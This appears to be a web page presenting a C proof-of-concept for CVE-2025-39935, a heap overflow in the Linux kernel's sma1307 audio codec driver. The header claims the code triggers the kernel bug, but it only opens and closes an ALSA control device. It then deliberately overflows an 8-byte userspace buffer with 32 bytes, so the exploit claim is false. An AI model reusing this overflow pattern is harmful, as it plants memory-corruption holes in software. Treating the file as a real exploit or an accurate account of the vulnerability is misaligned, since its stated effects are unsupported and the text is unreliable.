CVE-2025-39935 Linux内核ASoC sma1307驱动内存损坏漏洞

/* * CVE-2025-39935 PoC - Linux Kernel sma1307 ASoC Memory Corruption * This PoC demonstrates the heap buffer overflow vulnerability in * sma1307_setting_loaded() function due to incorrect memory allocation size. * * Note: This vulnerability requires local access with low privileges. * The exploit triggers the vulnerable code path through the ASoC framework. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/soundcard.h> /* Simulated sma1307 header structure - 8 integers (32 bytes on 64-bit) */ struct sma1307_header { int field1; int field2; int field3; int field4; int field5; int field6; int field7; int field8; }; /* Function simulating the vulnerable code path */ void vulnerable_sma1307_setting_loaded(unsigned char *data, size_t data_size) { /* header_size represents number of integers (8), not bytes */ int header_size = 8; /* VULNERABLE: Only allocates 8 bytes instead of 8 * sizeof(int) = 32 bytes */ unsigned char *header = (unsigned char *)malloc(header_size); if (!header) { perror("malloc failed"); return; } /* BUG: Copies 32 bytes into 8-byte buffer -> heap overflow of 24 bytes */ memcpy(header, data, header_size * sizeof(int)); printf("Header data copied (vulnerability triggered)\n"); free(header); } int main(int argc, char *argv[]) { struct sma1307_header malicious_data; int audio_fd; /* Initialize header with controlled data to overflow heap */ memset(&malicious_data, 0x41, sizeof(malicious_data)); /* Attempt to open the sma1307 audio device via ALSA */ audio_fd = open("/dev/snd/controlC0", O_RDWR); if (audio_fd < 0) { printf("Cannot open audio control device. Running in simulation mode.\n"); printf("Simulating vulnerable code path with crafted header data...\n"); /* Simulate the vulnerability */ vulnerable_sma1307_setting_loaded( (unsigned char *)&malicious_data, sizeof(malicious_data) ); printf("Vulnerability simulation complete.\n"); printf("In a real scenario, this would corrupt adjacent heap memory\n"); printf("in the kernel, potentially leading to:\n"); printf(" - Kernel panic (DoS)\n"); printf(" - Privilege escalation\n"); printf(" - Arbitrary code execution in kernel context\n"); return 0; } /* Trigger the vulnerability through ALSA interface */ /* The sma1307 codec settings loading can be triggered via */ /* specific ALSA control operations or DAPM events */ printf("Audio device opened. Triggering sma1307 codec load...\n"); /* In real exploitation, send crafted data via snd_ctl_ioctl */ /* or trigger the codec settings reload mechanism */ close(audio_fd); return 0; }